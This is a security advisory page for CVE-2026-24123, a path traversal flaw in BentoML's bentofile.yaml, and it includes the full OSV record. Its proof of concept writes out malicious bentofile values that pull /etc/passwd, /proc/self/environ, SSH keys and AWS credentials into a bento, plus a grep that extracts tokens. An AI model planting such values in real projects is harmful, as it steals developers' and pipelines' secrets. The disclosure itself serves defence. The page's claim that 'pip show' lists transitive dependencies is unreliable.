CVE-2026-24123: Bentoml Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-6r62-w2q3-48hf
CVSS 7.4
CWE-22
Published
Advisory Summary

CVE-2026-24123 is a HIGH (CVSS 7.4) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Bentoml libraries in the PyPI ecosystem. The issue involves bentoml has a path traversal via bentofile configuration. Remediation is available by upgrading affected packages to version 1.4.34.

CVE-2026-24123 at a Glance

CVE Identifier CVE-2026-24123
GHSA Identifier GHSA-6r62-w2q3-48hf
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Bentoml
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-24123

To remediate this vulnerability, upgrade all affected Bentoml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bentoml fixed: 1.4.34
pip install bentoml>=1.4.34
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show bentoml

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-24123, inspect your installed packages using pip:

pip show bentoml

Analyze the terminal output to locate any version of Bentoml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.34), your application is affected.

Note: The pip show bentoml command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Bentoml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary BentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. ### Details The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory. **Vulnerable function** in `src/bentoml/_internal/utils/filesystem.py:114-131`: ```python def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str: _path = os.path.expanduser(os.path.expandvars(filepath)) if not os.path.isabs(_path) and ctx: _path = os.path.expanduser(os.path.join(ctx, filepath)) if os.path.exists(_path): return os.path.realpath(_path) # No path containment check raise FileNotFoundError(f"file {filepath} not found") ``` **Vulnerable code** in `src/bentoml/_internal/bento/bento.py:348-355`: ```python if build_config.description.startswith("file:"): file_name = build_config.description[5:].strip() if not ctx_path.joinpath(file_name).exists(): raise InvalidArgument(f"File {file_name} does not exist.") shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal ``` All four vulnerable fields: - `description: "file:../../../etc/passwd"` → copied to `README.md` - `docker.setup_script: "../../../etc/passwd"` → copied to `env/docker/setup_script` - `docker.dockerfile_template: "../../../secret"` → copied to `env/docker/Dockerfile.template` - `conda.environment_yml: "../../../etc/hosts"` → copied to `env/conda/environment.yml` **Multiple path formats are supported, making exploitation trivial:** | Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes | | Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes | | Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes | | Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes | | Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes | The `description` field uses `pathlib.Path.joinpath()` directly, while other fields use `resolve_user_filepath()` which calls `os.path.expanduser()` and `os.path.expandvars()`. The `/proc/self/environ` vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_PASSWORD`, etc.). ### PoC 1. Create a minimal service: ```python # service.py import bentoml @bentoml.service class TestService: @bentoml.api def predict(self, text: str) -> str: return text ``` 2. Create malicious `bentofile.yaml`. Multiple attack vectors are available: **Vector 1: Exfiltrate /etc/passwd via description field** ```yaml service: "service.py:TestService" description: "file:/etc/passwd" ``` **Vector 2: Exfiltrate all environment variables (CI/CD secrets)** ```yaml service: "service.py:TestService" description: "file:/proc/self/environ" ``` **Vector 3: Exfiltrate files using environment variable expansion (docker fields only)** ```yaml service: "service.py:TestService" docker: dockerfile_template: "$HOME/.aws/credentials" ``` **Vector 4: Exfiltrate files using tilde expansion (docker fields only)** ```yaml service: "service.py:TestService" docker: dockerfile_template: "~/.ssh/id_rsa" ``` Note: The `description` field does not support `~` or `$VAR` expansion. Use absolute paths or relative traversal for `description`. The `docker.*` and `conda.*` fields support all path formats. 3. Run build: ```bash $ bentoml build Successfully built Bento(tag="test_service:abc123"). ``` 4. Verify exfiltration: ```bash # For description field - check README.md $ cat ~/bentoml/bentos/test_service/abc123/README.md root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... # For /proc/self/environ - extract CI/CD secrets $ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET" AWS_SECRET_ACCESS_KEY=AKIA... GITHUB_TOKEN=ghp_... # For dockerfile_template - check Dockerfile.template $ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template [default] aws_access_key_id = AKIA... aws_secret_access_key = ... ``` The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento. ### Impact **Who is impacted:** Any user who runs `bentoml build` on an untrusted `bentofile.yaml` (e.g., cloned from a malicious repository). **Attack scenarios:** - **Supply chain attack:** Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated - **CI/CD environment variable theft:** Using `file:/proc/self/environ`, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`, etc.), making this a single-payload method to steal all pipeline secrets. - **BentoCloud exfiltration:** When victims push compromised bentos to BentoCloud (`bentoml push`), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - **Data theft:** Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments

CVE-2026-24123 Affected Bentoml Versions

1 component(s)
Fixed Versions:
1.4.34
Product / Package Ecosystem Affected Versions Fixed Version
bentoml
PyPI
< 1.4.34
1.4.34

References

Frequently Asked Questions

What is CVE-2026-24123?
CVE-2026-24123 is a security vulnerability in Bentoml involving BentoML has a Path Traversal via Bentofile Configuration under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Bentoml versions are affected?
Affected versions include releases prior to 1.4.34 across affected packages: bentoml.
What version fixes CVE-2026-24123?
Upgrading to 1.4.34 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bentoml affected?
Yes, bentoml is affected in releases prior to 1.4.34. Upgrade your dependency to 1.4.34 or later.
What is the CVSS score of CVE-2026-24123?
CVE-2026-24123 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-24123?
CVE-2026-24123 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-24123?
Run the dependency tree command: 'pip show bentoml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6r62-w2q3-48hf",
  "modified" : "2026-01-29T03:23:35Z",
  "published" : "2026-01-26T21:17:16Z",
  "aliases" : [ "CVE-2026-24123" ],
  "summary" : "BentoML has a Path Traversal via Bentofile Configuration",
  "details" : "### Summary\n\nBentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.\n\n### Details\n\nThe vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.\n\n**Vulnerable function** in `src/bentoml/_internal/utils/filesystem.py:114-131`:\n\n```python\ndef resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:\n    _path = os.path.expanduser(os.path.expandvars(filepath))\n    if not os.path.isabs(_path) and ctx:\n        _path = os.path.expanduser(os.path.join(ctx, filepath))\n    if os.path.exists(_path):\n        return os.path.realpath(_path)  # No path containment check\n    raise FileNotFoundError(f\"file {filepath} not found\")\n```\n\n**Vulnerable code** in `src/bentoml/_internal/bento/bento.py:348-355`:\n\n```python\nif build_config.description.startswith(\"file:\"):\n    file_name = build_config.description[5:].strip()\n    if not ctx_path.joinpath(file_name).exists():\n        raise InvalidArgument(f\"File {file_name} does not exist.\")\n    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal\n```\n\nAll four vulnerable fields:\n- `description: \"file:../../../etc/passwd\"` → copied to `README.md`\n- `docker.setup_script: \"../../../etc/passwd\"` → copied to `env/docker/setup_script`\n- `docker.dockerfile_template: \"../../../secret\"` → copied to `env/docker/Dockerfile.template`\n- `conda.environment_yml: \"../../../etc/hosts\"` → copied to `env/conda/environment.yml`\n\n**Multiple path formats are supported, making exploitation trivial:**\n\n| Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` |\n|--------|---------------|----------------|----------------------|-------------------|\n| Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes |\n| Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes |\n| Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes |\n| Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes |\n| Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes |\n\nThe `description` field uses `pathlib.Path.joinpath()` directly, while other fields use `resolve_user_filepath()` which calls `os.path.expanduser()` and `os.path.expandvars()`.\n\nThe `/proc/self/environ` vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_PASSWORD`, etc.).\n\n### PoC\n\n1. Create a minimal service:\n\n```python\n# service.py\nimport bentoml\n\n@bentoml.service\nclass TestService:\n    @bentoml.api\n    def predict(self, text: str) -> str:\n        return text\n```\n\n2. Create malicious `bentofile.yaml`. Multiple attack vectors are available:\n\n**Vector 1: Exfiltrate /etc/passwd via description field**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/etc/passwd\"\n```\n\n**Vector 2: Exfiltrate all environment variables (CI/CD secrets)**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/proc/self/environ\"\n```\n\n**Vector 3: Exfiltrate files using environment variable expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n  dockerfile_template: \"$HOME/.aws/credentials\"\n```\n\n**Vector 4: Exfiltrate files using tilde expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n  dockerfile_template: \"~/.ssh/id_rsa\"\n```\n\nNote: The `description` field does not support `~` or `$VAR` expansion. Use absolute paths or relative traversal for `description`. The `docker.*` and `conda.*` fields support all path formats.\n\n3. Run build:\n\n```bash\n$ bentoml build\nSuccessfully built Bento(tag=\"test_service:abc123\").\n```\n\n4. Verify exfiltration:\n\n```bash\n# For description field - check README.md\n$ cat ~/bentoml/bentos/test_service/abc123/README.md\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n\n# For /proc/self/environ - extract CI/CD secrets\n$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\\0' '\\n' | grep -E \"KEY|TOKEN|SECRET\"\nAWS_SECRET_ACCESS_KEY=AKIA...\nGITHUB_TOKEN=ghp_...\n\n# For dockerfile_template - check Dockerfile.template\n$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template\n[default]\naws_access_key_id = AKIA...\naws_secret_access_key = ...\n```\n\nThe exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.\n\n### Impact\n\n**Who is impacted:** Any user who runs `bentoml build` on an untrusted `bentofile.yaml` (e.g., cloned from a malicious repository).\n\n**Attack scenarios:**\n- **Supply chain attack:** Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated\n- **CI/CD environment variable theft:** Using `file:/proc/self/environ`, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`, etc.), making this a single-payload method to steal all pipeline secrets.\n- **BentoCloud exfiltration:** When victims push compromised bentos to BentoCloud (`bentoml push`), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.\n- **Data theft:** Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bentoml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.34"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24123"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bentoml/BentoML"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/releases/tag/v1.4.34"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-26T21:17:16Z",
    "nvd_published_at" : "2026-01-26T23:16:08Z"
  }
}